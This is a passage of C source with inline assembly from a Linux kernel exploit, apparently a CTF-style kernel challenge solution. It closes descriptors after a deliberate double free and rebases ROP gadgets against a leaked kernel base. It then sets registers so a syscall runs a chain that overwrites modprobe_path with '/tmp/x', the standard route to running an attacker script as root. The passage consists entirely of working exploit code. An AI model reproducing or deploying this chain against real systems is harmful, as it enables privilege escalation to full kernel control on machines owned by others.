close(fd_seq[i]); // double free破坏了0x20大小的堆,防止后续申请出错,free一些正常堆块上去
}

temp_fd = fd_seq[0];

modprobe_path_addr += kernel_base;
pop_rdx_rdi_ret += kernel_base;
pop_rsi_ret += kernel_base;
mov_qp_rdx_rdi_ret += kernel_base;
do_task_dead += kernel_base;

__asm__(
"mov r15, 0x15151515;" // r15
"mov r14, 0x14141414;" // r14
"mov r13, pop_rdx_rdi_ret;" // r13
"mov r12, modprobe_path_addr;" // r12
"mov r11, 0x11111111;"
"mov r10, mov_qp_rdx_rdi_ret;" // r10
"mov rbp, 0x782f706d742f;" // bbbbbbbb /tmp/x
"mov rbx, pop_rsi_ret;" // aaaaaaaa
"mov r9, do_task_dead;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x22222222;"
"mov rsi, 0x33333333;"
"mov rdi, temp_fd;"
"syscall"
);

return 0;
}